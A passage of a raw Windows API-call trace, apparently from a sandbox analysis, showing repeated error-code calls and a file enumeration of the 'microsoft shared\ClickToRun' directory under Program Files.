(dwErrCode=0x0) [0147.234] GetLastError () returned 0x0 [0147.437] SetLastError (dwErrCode=0x0) [0147.437] GetLastError () returned 0x0 [0147.437] SetLastError (dwErrCode=0x0) [0147.437] GetLastError () returned 0x0 [0147.437] SetLastError (dwErrCode=0x0) [0147.437] GetLastError () returned 0x0 [0147.438] SetLastError (dwErrCode=0x0) [0147.438] GetLastError () returned 0x0 [0147.438] SetLastError (dwErrCode=0x0) [0147.438] GetLastError () returned 0x0 [0147.438] SetLastError (dwErrCode=0x0) [0147.438] GetLastError () returned 0x0 [0147.438] SetLastError (dwErrCode=0x0) [0147.443] GetLastError () returned 0x0 [0147.443] SetLastError (dwErrCode=0x0) [0147.443] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.444] SetLastError (dwErrCode=0x0) [0147.444] GetLastError () returned 0x0 [0147.445] SetLastError (dwErrCode=0x0) [0147.445] GetLastError () returned 0x0 [0147.445] SetLastError (dwErrCode=0x0) [0147.445] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.446] SetLastError (dwErrCode=0x0) [0147.446] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.447] SetLastError (dwErrCode=0x0) [0147.447] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.448] SetLastError (dwErrCode=0x0) [0147.448] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.449] SetLastError (dwErrCode=0x0) [0147.449] GetLastError () returned 0x0 [0147.450] SetLastError (dwErrCode=0x0) [0147.450] GetLastError () returned 0x0 [0147.450] SetLastError (dwErrCode=0x0) [0147.450] GetLastError () returned 0x0 [0147.450] SetLastError (dwErrCode=0x0) [0148.132] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.132] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0148.132] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0148.132] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.133] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3694088 | out: hHeap=0x23a0000) returned 1 [0148.133] FindNextFileW (in: hFindFile=0x8368e0, lpFindFileData=0x3c1f400 | out: lpFindFileData=0x3c1f400*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0148.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836ca0 [0148.133] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.133] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0148.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.133] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0148.134] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0148.135] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0148.137] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0148.137] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0148.138] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0148.138] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0148.138] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0148.138] FindNextFileW (in: hFindFile=0x836aa0, 